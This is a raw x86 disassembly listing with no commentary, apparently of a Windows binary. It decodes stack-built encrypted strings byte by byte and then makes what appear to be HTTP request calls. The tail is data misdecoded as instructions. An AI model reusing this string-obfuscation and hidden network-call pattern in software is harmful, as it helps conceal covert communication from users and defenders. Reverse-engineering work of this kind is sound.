mov eax, dword [ebp - 0x10c]
cmp eax, 0x30
jb 0x4108c0
movzx ecx, word [ebx]
mov edi, dword [ebp - 0x14]
mov eax, edi
test cx, cx
je 0x410921
add ebx, 2
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x410910
mov word [eax], 0
movzx ecx, word [0x454cd2]
test cx, cx
je 0x410957
xor edx, edx
mov ebx, dword [ebp - 0x1c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax + edx], cx
movzx ecx, word [edx + 0x454cd4]
add edx, 2
test cx, cx
jne 0x410940
add eax, edx
jmp 0x41095a
mov ebx, dword [ebp - 0x1c]
mov word [eax], 0
push 0x20000000
push 0xffffffffffffffff
push edi
push ebx
call dword [0x454bac]
xor edi, edi
mov ecx, dword [ebp + 0x10]
mov eax, ecx
neg eax
mov eax, 0
sbb eax, eax
push 0
mov edx, dword [ebp + 0x18]
push edx
push edx
push dword [ebp + 0x14]
push eax
push ecx
push ebx
call dword [0x454bb0]
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x14], 0
jmp dword [ecx*4 + 0x44fcb0]
push ebx
call dword [0x454bc4]
mov ebx, dword [ebp - 0x14]
jmp 0x410bad
jmp dword [0x44fcbc]
push 0
push ebx
call dword [0x454bb4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push ebx
call dword [0x454bb4]
jmp dword [0x44fcc4]
mov edi, dword [0x454ba0]
mov dword [ebp - 0x10c], 0x890a8b8c
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 7
ja 0x410a3c
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
movzx eax, byte [ebp + eax - 0x10c]
push dword [ebp - 0x10]
push eax
call fcn.00411d00
add esp, 8
mov ecx, dword [ebp - 0x10]
mov byte [ebp + ecx - 0x10c], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 8
jb 0x410a10
mov ebx, dword [ebp - 0x10c]
mov dword [esi], 0x398b3b8c
mov dword [esi + 4], 0x259a2785
mov word [esi + 8], 0x2324
mov dword [esi + 0xa], 0
mov word [esi + 0xe], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0xf
ja 0x410aa4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
movzx eax, byte [esi + eax]
push dword [ebp - 0x10]
push eax
call fcn.00411c70
add esp, 8
mov ecx, dword [ebp - 0x10]
mov byte [esi + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x10
jb 0x410a80
push ebx
push 0
push 0
push 0
push dword [ebp + 0xc]
push esi
push dword [ebp - 0x24]
call edi
jmp dword [0x44fc98]
mov edi, dword [0x454ba0]
mov dword [ebp - 0x10c], 0x890a8b8c
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 7
ja 0x410b1c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
movzx eax, byte [ebp + eax - 0x10c]
push dword [ebp - 0x10]
push eax
call fcn.00411d00
add esp, 8
mov ecx, dword [ebp - 0x10]
mov byte [ebp + ecx - 0x10c], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 8
jb 0x410af0
mov ebx, dword [ebp - 0x10c]
mov dword [esi], 0x398b3b8c
mov dword [esi + 4], 0x259a2785
mov word [esi + 8], 0x2324
mov dword [esi + 0xa], 0
mov word [esi + 0xe], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0xf
ja 0x410b84
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
movzx eax, byte [esi + eax]
push dword [ebp - 0x10]
push eax
call fcn.00411c70
add esp, 8
mov ecx, dword [ebp - 0x10]
mov byte [esi + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x10
jb 0x410b60
push ebx
push 0
push 0
push 0
push dword [ebp + 0xc]
push esi
push dword [ebp - 0x24]
call edi
jmp case.0x40ff7d.42
mov ebx, eax
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x44fca0]
xor edi, edi
xor ebx, ebx
push dword [ebp - 0x24]
call dword [0x454bc4]
mov esi, dword [ebp + 0x20]
push dword [ebp - 0x28]
call dword [0x454bc4]
xor eax, eax
mov ecx, dword [ebp + 0x1c]
test ecx, ecx
setne al
jmp dword [eax*4 + 0x44fd20]
mov dword [ecx], ebx
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44fd40]
movzx eax, byte [0x454cd0]
mov esi, dword [ebp - 0x20]
jmp dword [eax*4 + 0x44fca8]
xor ebx, ebx
jmp 0x411085
mov esi, dword [0x454b9c]
mov dword [esp + 0x3c], 0x8382807b
mov byte [esp + 0x40], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 4
ja 0x410f1b
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x3c]
push dword [esp + 4]
push eax
call fcn.00411e70
add esp, 8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x3c], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 5
jb 0x410ef0
movzx eax, word [esp + 0x3c]
push 0
push eax
push 0x454bcc
push edi
call esi
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44fd50]
xor ebx, ebx
jmp 0x411432
mov dword [esp + 0x38], eax
mov dword [esp + 0x34], edi
mov ebp, dword [0x454ba0]
mov dword [esp + 4], 0x29aa2b24
mov dword [esp + 8], 0
mov dword [esp + 0x3c], 0
mov eax, dword [esp + 0x3c]
cmp eax, 7
ja 0x410f9b
nop
mov eax, dword [esp + 0x3c]
movzx eax, byte [esp + eax + 4]
push dword [esp + 0x3c]
push eax
call fcn.00411f70
add esp, 8
mov ecx, dword [esp + 0x3c]
mov byte [esp + ecx + 4], al
inc dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
cmp eax, 8
jb 0x410f70
mov esi, dword [esp + 0x250]
mov edi, dword [esp + 4]
mov dword [esp + 0x3c], 0x438d41b0
mov dword [esp + 0x40], 0x47b245b7
mov word [esp + 0x44], 0x4948
mov dword [esp + 0x46], 0
mov byte [esp + 0x4a], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xe
ja 0x411006
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x3c]
push dword [esp]
push eax
call fcn.00411ef0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x3c], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xf
jb 0x410fe0
push edi
push 0
push 0
push 0
push esi
push ebx
mov esi, dword [esp + 0x50]
push esi
call ebp
mov ebp, eax
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x44fd58]
xor ebx, ebx
mov edi, dword [esp + 0x34]
jmp 0x41142b
mov esi, dword [esp + 0x268]
xor eax, eax
test esi, esi
setg al
jmp dword [eax*4 + 0x44fd60]
jmp dword [0x44fd6c]
push esi
push esi
push esi
push esi
push ebp
call dword [0x454ba8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
push esi
push esi
push esi
push ebp
call dword [0x454ba8]
jmp dword [0x44fd74]
movzx eax, byte [0x454cd0]
jmp dword [eax*4 + 0x44fd78]
jmp dword [0x44fd84]
mov eax, ebx
add esp, 0x23c
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 4], 0x118f1f59
mov dword [esp + 8], 0x158f1381
mov dword [esp + 0xc], 0x971178f
mov dword [esp + 0x10], 0xd2a0b42
mov dword [esp + 0x14], 0x16f0f6d
mov dword [esp + 0x18], 0x5640365
mov dword [esp + 0x1c], 0x39990765
mov dword [esp + 0x20], 0x3d5b3bb1
mov dword [esp + 0x24], 0x31b53f5e
mov dword [esp + 0x28], 0x357d33a0
mov word [esp + 0x2c], 0x3734
mov dword [esp + 0x2e], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2d
ja 0x411126
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.00411ff0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2e
jb 0x411100
movzx ecx, word [esp + 4]
mov eax, ebx
test cx, cx
je 0x411151
lea eax, [esp + 0x3c]
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x411140
mov word [eax], 0
movzx ecx, word [0x454cd2]
test cx, cx
je 0x411185
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax + edx], cx
movzx ecx, word [edx + 0x454cd4]
add edx, 2
test cx, cx
jne 0x411170
add eax, edx
mov word [eax], 0
mov esi, dword [0x454bac]
mov dword [esp + 4], 0x37161918
mov dword [esp + 8], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x4111d6
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.00412070
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x4111b0
lea eax, [esp + 0x3c]
push dword [esp + 4]
push 0xffffffffffffffff
push eax
push ebp
call esi
jmp dword [0x44fd8c]
mov dword [esp + 4], 0x118f1f59
mov dword [esp + 8], 0x158f1381
mov dword [esp + 0xc], 0x971178f
mov dword [esp + 0x10], 0xd2a0b42
mov dword [esp + 0x14], 0x16f0f6d
mov dword [esp + 0x18], 0x5640365
mov dword [esp + 0x1c], 0x39990765
mov dword [esp + 0x20], 0x3d5b3bb1
mov dword [esp + 0x24], 0x31b53f5e
mov dword [esp + 0x28], 0x357d33a0
mov word [esp + 0x2c], 0x3734
mov dword [esp + 0x2e], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2d
ja 0x411286
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.00411ff0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2e
jb 0x411260
movzx ecx, word [esp + 4]
lea eax, [esp + 0x3c]
test cx, cx
je 0x4112b1
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4112a0
mov word [eax], 0
movzx ecx, word [0x454cd2]
test cx, cx
je 0x4112e5
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax + edx], cx
movzx ecx, word [edx + 0x454cd4]
add edx, 2
test cx, cx
jne 0x4112d0
add eax, edx
mov word [eax], 0
mov esi, dword [0x454bac]
mov dword [esp + 4], 0x37161918
mov dword [esp + 8], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x411336
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.00412070
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x411310
lea eax, [esp + 0x3c]
push dword [esp + 4]
push 0xffffffffffffffff
push eax
push ebp
call esi
jmp case.0x41101f.11
mov edx, dword [esp + 0x264]
mov esi, dword [esp + 0x258]
mov ebx, dword [esp + 0x254]
mov edi, edx
jmp dword [0x44fd90]
xor eax, eax
mov ecx, ebx
neg ecx
sbb eax, eax
push 0
push edx
push dword [esp + 0x264]
push esi
push eax
push ebx
push ebp
call dword [0x454bb0]
mov edx, edi
xor eax, eax
mov ecx, ebx
neg ecx
sbb eax, eax
push 0
push edx
push dword [esp + 0x264]
push esi
push eax
push ebx
push ebp
call dword [0x454bb0]
mov edx, edi
jmp dword [0x44fd98]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44fda0]
xor ebx, ebx
mov edi, dword [esp + 0x34]
mov esi, dword [esp + 0x38]
jmp case.0x40ff7d.112
mov edi, dword [esp + 0x34]
mov esi, dword [esp + 0x38]
mov dword [esp + 0x3c], 0
lea eax, [esp + 0x3c]
push eax
push edx
push dword [esp + 0x268]
push ebp
call dword [0x454bc0]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x44fda8]
push 0
push ebp
call dword [0x454bb4]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x44fdb0]
mov eax, dword [case.0x40ff7d.112]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov bl, 1
jmp eax
push ebp
call dword [0x454bc4]
push esi
call dword [0x454bc4]
push edi
call dword [0x454bc4]
jmp 0x411085
in eax, dx
inc eax
add byte [ebp + ebp*8 + 0x40], ch
add byte [edx - 0xa], bh
inc eax
add byte [edi - 0xa], cl
inc eax
add byte [edi - 0xa], cl
inc eax
add byte [edx - 0x10], bh
inc eax
add byte [eax], bh
inc eax
add al, dl
invalid
int1
inc eax
add al, ah
invalid
inc eax
add al, al
inc eax
add dl, dl
out dx, al
inc eax
add byte [edx - 0x11], bh
inc eax
add byte [esi - 0x10], ah
inc eax
add dl, dl
out dx, al
inc eax
add byte [eax], ch
cmc
inc eax
add byte [eax + esi*8 + 0x40], dh
add al, dl
cmc
inc eax
add byte [edx - 0xb], dl
inc eax
add al, dl
cmc
inc eax
add dh, al
inc eax
add byte [eax], ch
cmc
inc eax
add byte [ebx], dl
hlt
hlt